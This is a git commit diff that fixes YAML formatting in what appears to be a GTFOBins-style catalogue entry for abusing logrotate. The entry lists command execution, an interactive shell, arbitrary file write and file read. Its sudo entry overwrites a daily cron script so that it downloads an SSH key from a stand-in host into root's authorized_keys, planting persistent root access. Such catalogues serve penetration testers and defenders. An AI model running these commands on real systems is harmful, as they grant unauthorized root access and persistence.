Fix format.

This commit is contained in:
Joshua Rogers 2023-10-03 15:26:02 +02:00
parent c53615b1ab
commit 86292d421e

View File

@ -2,7 +2,7 @@
functions: functions:
command: command:
- description: Requires a logrotate policy which uses the `mail` directive. A hash should be used as the final character in the command, as it is run with a few arguments. - description: Requires a logrotate policy which uses the `mail` directive. A hash should be used as the final character in the command, as it is run with a few arguments.
- code: | code: |
COMMAND='id &> /tmp/output #' COMMAND='id &> /tmp/output #'
TF=$(mktemp) TF=$(mktemp)
echo "$COMMAND" > $TF echo "$COMMAND" > $TF
@ -10,7 +10,7 @@ functions:
logrotate -m "$TF" -v -f logrotate.policy logrotate -m "$TF" -v -f logrotate.policy
shell: shell:
- description: Requires a logrotate policy which uses the `mail` directive. - description: Requires a logrotate policy which uses the `mail` directive.
- code: | code: |
COMMAND='/usr/bin/bash -i #' COMMAND='/usr/bin/bash -i #'
TF=$(mktemp) TF=$(mktemp)
echo "$COMMAND" > $TF echo "$COMMAND" > $TF
@ -18,20 +18,20 @@ functions:
logrotate -m "$TF" -v -f logrotate.policy logrotate -m "$TF" -v -f logrotate.policy
file-write: file-write:
- description: Creates or overwrites the file with the exact text `logrotate state -- version 2` - description: Creates or overwrites the file with the exact text `logrotate state -- version 2`
- code: | code: |
LFILE=file_to_write LFILE=file_to_write
logrotate -s "$LFILE" logrotate.policy logrotate -s "$LFILE" logrotate.policy
- description: Creates or overwrites the file with junk data in combination with arbitrary data. - description: Creates or overwrites the file with junk data in combination with arbitrary data.
- code: | code: |
LFILE=file_to_write LFILE=file_to_write
DATA=data_to_write DATA=data_to_write
logrotate -l "$LFILE" "$DATA" logrotate -l "$LFILE" "$DATA"
file-read: file-read:
- description: Reads the first 'word'. - description: Reads the first 'word'.
- code: | code: |
LFILE=file_to_read LFILE=file_to_read
logrotate "$LFILE" logrotate "$LFILE"
sudo: sudo:
- description: If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access. Note: this will overwrite `/etc/cron.daily/man-db` with a cronjob. - description: If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access. Note that this will overwrite `/etc/cron.daily/man-db` with a cronjob.
code: sudo logrotate -l /etc/cron.daily/man-db '2>/dev/null;wget https://example.com/ssh.key -O /root/.ssh/authorized_keys2; exit 0;' code: sudo logrotate -l /etc/cron.daily/man-db '2>/dev/null;wget https://example.com/ssh.key -O /root/.ssh/authorized_keys2; exit 0;'
--- ---